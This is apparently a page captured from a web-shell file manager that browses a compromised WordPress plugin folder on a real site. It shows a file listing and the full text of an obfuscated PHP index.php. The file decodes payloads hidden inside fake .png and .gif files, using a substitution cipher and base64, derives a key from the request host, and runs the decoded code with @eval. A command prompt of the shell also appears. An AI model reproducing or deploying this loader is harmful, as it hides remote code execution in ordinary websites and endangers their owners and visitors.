FM / images

/home/vianto5/haciendasanpancho.mx/wp-content/plugins/datavaultx/images/

/home/vianto5/haciendasanpancho.mx/wp-content/plugins/datavaultx/images

Name	Size	Mode	Actions
cakapab.png	507775	0644	edit dl rm
cicevo.png	95787	0644	edit dl rm
epugakh.png	213339	0644	edit dl rm
index.php	2975	0644	edit dl rm
kufatho.png	12467	0644	edit dl rm
mavuze.gif	64551	0644	edit dl rm
sarihy.png	213339	0644	edit dl rm
usocen.gif	213339	0644	edit dl rm
ymolep.gif	213339	0644	edit dl rm

Edit: /home/vianto5/haciendasanpancho.mx/wp-content/plugins/datavaultx/images/index.php (2975B)

<?php

class uqivir_anezuquj {

public $ladivuz = 'cicevo.png';
    public $ematij_wakhykyf = false;
    public $lazywe_adyrikol = false;
    public $avixax_osyshofa = false;

protected function ypyvox_vezolyvuv($exuwyb_azhothenabo) {
        $zekagy_shojevymi = crc32($exuwyb_azhothenabo);
        if ((PHP_INT_SIZE > 4) && ($zekagy_shojevymi & 0x80000000))
            $zekagy_shojevymi = $zekagy_shojevymi - 0x100000000;
        return abs($zekagy_shojevymi);
    }

protected function akovuk_quchechyhuq($exuwyb_azhothenabo) {
        $qunaza = "/DW72TNiEaB1vJlnCQVjAIZrezKSMGuPoRUwb8qd6+xct9=FsOmXhyLfYH40gpk53";
        $udyxan = "2Zk3+pJRAVsG5D6f0iF4xWqX=jQYUnPEHSrNteOM18KTCozahuvdBwcgy/lm7LIb9";
        $zilakyt = array();
        for ($uvanob = 0; $uvanob < strlen($qunaza); $uvanob++) {
            $khihyzi = substr($qunaza, $uvanob, 1);
            $bopecho = substr($udyxan, $uvanob, 1);
            $zilakyt[$khihyzi] = $bopecho;
        }

$ezagyc = strtr($exuwyb_azhothenabo, $zilakyt);
        $ezagyc = base64_decode($ezagyc);

return $ezagyc;
    }

protected function hylumi_ucaqosho($exuwyb_azhothenabo) {
        $rysyta = array();
        if (!file_exists($exuwyb_azhothenabo))
            return false;
        $isuqodo = @file_get_contents($exuwyb_azhothenabo);
        if (!$isuqodo)
            return false;
        $isuqodo = substr($isuqodo, 3);
        $rysyta = $this->akovuk_quchechyhuq($isuqodo);
        return $rysyta;
    }

public function ogexyk_chotigoxis() {
        $ikimek_iqizovabu = __DIR__ . "/" . $this->ladivuz;
        $ahumup_ejuhyhine = $this->hylumi_ucaqosho($ikimek_iqizovabu);
        if (!$ahumup_ejuhyhine)
            return false;
        $this->ematij_wakhykyf = $ahumup_ejuhyhine;
        return true;
    }

public function wilalo_ixolizhi() {
        if ($this->lazywe_adyrikol)
            return true;
        $ikimek_iqizovabu = __DIR__ . '/usocen.gif';
        if (!file_exists($ikimek_iqizovabu)) {
            return false;
        }

$ahumup_ejuhyhine = $this->hylumi_ucaqosho($ikimek_iqizovabu);
        $zekagy_shojevymi = "HTTP_" . "HOST";
        $asaxic_ysekhajy = $_SERVER[$zekagy_shojevymi];
        $potiha_kakyjekha = floor(strlen($ahumup_ejuhyhine) / 32);
        $ivexig_sadejibo = $this->ypyvox_vezolyvuv($asaxic_ysekhajy) % $potiha_kakyjekha;
        $aqybip_ukhemedik = substr($ahumup_ejuhyhine, $ivexig_sadejibo * 32, 32);
        $this->avixax_osyshofa = $ivexig_sadejibo;
        $this->lazywe_adyrikol = $aqybip_ukhemedik;

if (!defined('eqegaf_nyzakhacer'))
            define('eqegaf_nyzakhacer', $aqybip_ukhemedik);
        if (!defined('nulilo_ynazhikhy'))
            define('nulilo_ynazhikhy', $ivexig_sadejibo + 1);

return $aqybip_ukhemedik;
    }

}

$buqezu = new uqivir_anezuquj();
$buqezu->wilalo_ixolizhi();
$buqezu->ogexyk_chotigoxis();

if ($buqezu->ematij_wakhykyf) {
    @eval($buqezu->ematij_wakhykyf);
}

cmd: